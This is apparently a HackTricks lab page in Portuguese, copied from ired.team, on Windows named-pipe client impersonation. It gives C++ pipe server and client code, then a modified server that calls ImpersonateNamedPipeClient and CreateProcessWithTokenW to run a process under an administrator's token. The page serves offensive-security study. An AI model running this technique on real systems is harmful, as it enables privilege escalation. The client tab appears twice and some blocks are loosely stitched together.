hacktricks/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md
2023-06-06 18:56:34 +00:00

14 KiB

Impersonação de Cliente de Pipe Nomeado

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Esta informação foi copiada de https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation

Visão Geral

Um pipe é um bloco de memória compartilhada que os processos podem usar para comunicação e troca de dados.

Named Pipes é um mecanismo do Windows que permite que dois processos não relacionados troquem dados entre si, mesmo que os processos estejam localizados em duas redes diferentes. É muito semelhante à arquitetura cliente/servidor, pois existem noções como um servidor de pipe nomeado e um cliente de pipe nomeado.

Um servidor de pipe nomeado pode abrir um pipe nomeado com um nome pré-definido e, em seguida, um cliente de pipe nomeado pode se conectar a esse pipe por meio do nome conhecido. Uma vez estabelecida a conexão, a troca de dados pode começar.

Este laboratório trata de um código PoC simples que permite:

  • criar um servidor de pipe nomeado burro com uma única thread que aceitará uma conexão de cliente
  • servidor de pipe nomeado escrever uma mensagem simples no pipe nomeado para que o cliente de pipe possa lê-la

Código

Abaixo está o PoC para o servidor e o cliente:

{% tabs %} {% tab title="namedPipeServer.cpp" %}

#include "pch.h"
#include <Windows.h>
#include <iostream>

int main() {
	LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
	LPVOID pipeBuffer = NULL;
	HANDLE serverPipe;
	DWORD readBytes = 0;
	DWORD readBuffer = 0;
	int err = 0;
	BOOL isPipeConnected;
	BOOL isPipeOpen;
	wchar_t message[] = L"HELL";
	DWORD messageLenght = lstrlen(message) * 2;
	DWORD bytesWritten = 0;

	std::wcout << "Creating named pipe " << pipeName << std::endl;
	serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
	
	isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
	if (isPipeConnected) {
		std::wcout << "Incoming connection to " << pipeName << std::endl;
	}
	
	std::wcout << "Sending message: " << message << std::endl;
	WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
	
	return 0;
}

{% endtab %}

{% tab title="namedPipeClient.cpp" %}

#include <windows.h>
#include <stdio.h>
#include <tchar.h>

#define BUFSIZE 512

int _tmain(int argc, TCHAR *argv[])
{
   HANDLE hPipe;
   LPTSTR lpvMessage=TEXT("Default message from client.");
   TCHAR chBuf[BUFSIZE];
   BOOL fSuccess = FALSE;
   DWORD cbRead, cbToWrite, cbWritten, dwMode;
   LPTSTR lpszPipename = TEXT("\\\\.\\pipe\\mynamedpipe");

   if( argc > 1 )
      lpvMessage = argv[1];

   // Try to open a named pipe; wait for it, if necessary.

   while (1)
   {
      hPipe = CreateFile(
         lpszPipename,   // pipe name
         GENERIC_READ |  // read and write access
         GENERIC_WRITE,
         0,              // no sharing
         NULL,           // default security attributes
         OPEN_EXISTING,  // opens existing pipe
         0,              // default attributes
         NULL);          // no template file

      // Break if the pipe handle is valid.

      if (hPipe != INVALID_HANDLE_VALUE)
         break;

      // Exit if an error other than ERROR_PIPE_BUSY occurs.

      if (GetLastError() != ERROR_PIPE_BUSY)
      {
         _tprintf( TEXT("Could not open pipe. GLE=%d\n"), GetLastError() );
         return -1;
      }

      // All pipe instances are busy, so wait for 20 seconds.

      if ( ! WaitNamedPipe(lpszPipename, 20000))
      {
         printf("Could not open pipe: 20 second wait timed out.");
         return -1;
      }
   }

   // The pipe connected; change to message-read mode.

   dwMode = PIPE_READMODE_MESSAGE;
   fSuccess = SetNamedPipeHandleState(
      hPipe,    // pipe handle
      &dwMode,  // new pipe mode
      NULL,     // don't set maximum bytes
      NULL);    // don't set maximum time

   if ( ! fSuccess)
   {
      _tprintf( TEXT("SetNamedPipeHandleState failed. GLE=%d\n"), GetLastError() );
      return -1;
   }

   // Send a message to the pipe server.

   cbToWrite = (lstrlen(lpvMessage)+1)*sizeof(TCHAR);
   _tprintf( TEXT("Sending %d byte message: \"%s\"\n"), cbToWrite, lpvMessage);

   fSuccess = WriteFile(
      hPipe,                  // pipe handle
      lpvMessage,             // message
      cbToWrite,              // message length
      &cbWritten,             // bytes written
      NULL);                  // not overlapped

   if ( ! fSuccess)
   {
      _tprintf( TEXT("WriteFile to pipe failed. GLE=%d\n"), GetLastError() );
      return -1;
   }

   printf("\nMessage sent to server, receiving reply as follows:\n");

   do
   {
      // Read from the pipe.

      fSuccess = ReadFile(
         hPipe,    // pipe handle
         chBuf,    // buffer to receive reply
         BUFSIZE*sizeof(TCHAR),  // size of buffer
         &cbRead,  // number of bytes read
         NULL);    // not overlapped

      if ( ! fSuccess && GetLastError() != ERROR_MORE_DATA )
         break;

      _tprintf( TEXT("\"%s\"\n"), chBuf );
   } while ( ! fSuccess);  // repeat loop if ERROR_MORE_DATA

   if ( ! fSuccess)
   {
      _tprintf( TEXT("ReadFile from pipe failed. GLE=%d\n"), GetLastError() );
      return -1;
   }

   _tprintf( TEXT("\n<End of message, press ENTER to terminate connection and exit>") );
   _getch();

   CloseHandle(hPipe);

   return 0;
}

{% endtab %}

{% tab title="namedPipeClient.cpp" %}

#include <windows.h>
#include <stdio.h>
#include <tchar.h>

#define BUFSIZE 512

int _tmain(int argc, TCHAR *argv[])
{
   HANDLE hPipe;
   LPTSTR lpvMessage=TEXT("Mensagem padrão do cliente.");
   TCHAR chBuf[BUFSIZE];
   BOOL fSuccess = FALSE;
   DWORD cbRead, cbToWrite, cbWritten, dwMode;
   LPTSTR lpszPipename = TEXT("\\\\.\\pipe\\mynamedpipe");

   if( argc > 1 )
      lpvMessage = argv[1];

   // Tenta abrir um named pipe; espera, se necessário.

   while (1)
   {
      hPipe = CreateFile(
         lpszPipename,   // nome do pipe
         GENERIC_READ |  // acesso de leitura e escrita
         GENERIC_WRITE,
         0,              // sem compartilhamento
         NULL,           // atributos de segurança padrão
         OPEN_EXISTING,  // abre um pipe existente
         0,              // atributos padrão
         NULL);          // sem arquivo de modelo

      // Quebra o loop se o handle do pipe for válido.

      if (hPipe != INVALID_HANDLE_VALUE)
         break;

      // Sai se ocorrer um erro diferente de ERROR_PIPE_BUSY.

      if (GetLastError() != ERROR_PIPE_BUSY)
      {
         _tprintf( TEXT("Não foi possível abrir o pipe. GLE=%d\n"), GetLastError() );
         return -1;
      }

      // Todas as instâncias do pipe estão ocupadas, então espera por 20 segundos.

      if ( ! WaitNamedPipe(lpszPipename, 20000))
      {
         printf("Não foi possível abrir o pipe: tempo de espera de 20 segundos esgotado.");
         return -1;
      }
   }

   // O pipe conectou; muda para o modo de leitura de mensagem.

   dwMode = PIPE_READMODE_MESSAGE;
   fSuccess = SetNamedPipeHandleState(
      hPipe,    // handle do pipe
      &dwMode,  // novo modo do pipe
      NULL,     // não define o número máximo de bytes
      NULL);    // não define o tempo máximo

   if ( ! fSuccess)
   {
      _tprintf( TEXT("SetNamedPipeHandleState falhou. GLE=%d\n"), GetLastError() );
      return -1;
   }

   // Envia uma mensagem para o servidor do pipe.

   cbToWrite = (lstrlen(lpvMessage)+1)*sizeof(TCHAR);
   _tprintf( TEXT("Enviando mensagem de %d bytes: \"%s\"\n"), cbToWrite, lpvMessage);

   fSuccess = WriteFile(
      hPipe,                  // handle do pipe
      lpvMessage,             // mensagem
      cbToWrite,              // tamanho da mensagem
      &cbWritten,             // bytes escritos
      NULL);                  // não é sobreposto

   if ( ! fSuccess)
   {
      _tprintf( TEXT("WriteFile para o pipe falhou. GLE=%d\n"), GetLastError() );
      return -1;
   }

   printf("\nMensagem enviada para o servidor, recebendo resposta da seguinte forma:\n");

   do
   {
      // Lê do pipe.

      fSuccess = ReadFile(
         hPipe,    // handle do pipe
         chBuf,    // buffer para receber a resposta
         BUFSIZE*sizeof(TCHAR),  // tamanho do buffer
         &cbRead,  // número de bytes lidos
         NULL);    // não é sobreposto

      if ( ! fSuccess && GetLastError() != ERROR_MORE_DATA )
         break;

      _tprintf( TEXT("\"%s\"\n"), chBuf );
   } while ( ! fSuccess);  // repete o loop se ERROR_MORE_DATA

   if ( ! fSuccess)
   {
      _tprintf( TEXT("ReadFile do pipe falhou. GLE=%d\n"), GetLastError() );
      return -1;
   }

   _tprintf( TEXT("\n<Fim da mensagem, pressione ENTER para encerrar a conexão e sair>") );
   _getch();

   CloseHandle(hPipe);

   return 0;
}

{% endtab %}

#include "pch.h"
#include <iostream>
#include <Windows.h>

const int MESSAGE_SIZE = 512;

int main()
{
	LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
	HANDLE clientPipe = NULL;
	BOOL isPipeRead = true;
	wchar_t message[MESSAGE_SIZE] = { 0 };
	DWORD bytesRead = 0;

	std::wcout << "Connecting to " << pipeName << std::endl;
	clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	
	while (isPipeRead) {
		isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
		std::wcout << "Received message: " << message;
	}

	return 0;
}

{% endtab %} {% endtabs %}

Execução

Abaixo mostra o servidor de pipe nomeado e o cliente de pipe nomeado funcionando como esperado:

Vale ressaltar que a comunicação de pipes nomeados por padrão usa o protocolo SMB:

Verificando como o processo mantém um identificador para o nosso pipe nomeado mantvydas-first-pipe:

Da mesma forma, podemos ver o cliente tendo um identificador aberto para o pipe nomeado:

Podemos até ver nosso pipe com powershell:

((Get-ChildItem \\.\pipe\).name)[-1..-5]

Impersonação de Token

{% hint style="info" %} Observe que, para impessoar o token do processo do cliente, você precisa ter (o processo do servidor criando o pipe) o privilégio do token SeImpersonate {% endhint %}

É possível para o servidor de pipe nomeado impessoar o contexto de segurança do cliente de pipe nomeado, aproveitando uma chamada de API ImpersonateNamedPipeClient, que por sua vez altera o token do thread atual do servidor de pipe nomeado com o token do cliente de pipe nomeado.

Podemos atualizar o código do servidor de pipe nomeado assim para alcançar a impessoação - observe que as modificações são vistas na linha 25 e abaixo:

int main() {
	LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
	LPVOID pipeBuffer = NULL;
	HANDLE serverPipe;
	DWORD readBytes = 0;
	DWORD readBuffer = 0;
	int err = 0;
	BOOL isPipeConnected;
	BOOL isPipeOpen;
	wchar_t message[] = L"HELL";
	DWORD messageLenght = lstrlen(message) * 2;
	DWORD bytesWritten = 0;

	std::wcout << "Creating named pipe " << pipeName << std::endl;
	serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
	
	isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
	if (isPipeConnected) {
		std::wcout << "Incoming connection to " << pipeName << std::endl;
	}
	
	std::wcout << "Sending message: " << message << std::endl;
	WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
	
	std::wcout << "Impersonating the client..." << std::endl;
	ImpersonateNamedPipeClient(serverPipe);
	err = GetLastError();	

	STARTUPINFO	si = {};
	wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
	PROCESS_INFORMATION pi = {};
	HANDLE threadToken = GetCurrentThreadToken();
	CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

	return 0;
}

Executando o servidor e conectando-se a ele com o cliente que está sendo executado sob o contexto de segurança administrator@offense.local, podemos ver que a thread principal do pipe do servidor nomeado assumiu o token do cliente do pipe nomeado - offense\administrator, embora o PipeServer.exe em si esteja sendo executado sob o contexto de segurança ws01\mantvydas. Parece ser uma boa maneira de escalar privilégios?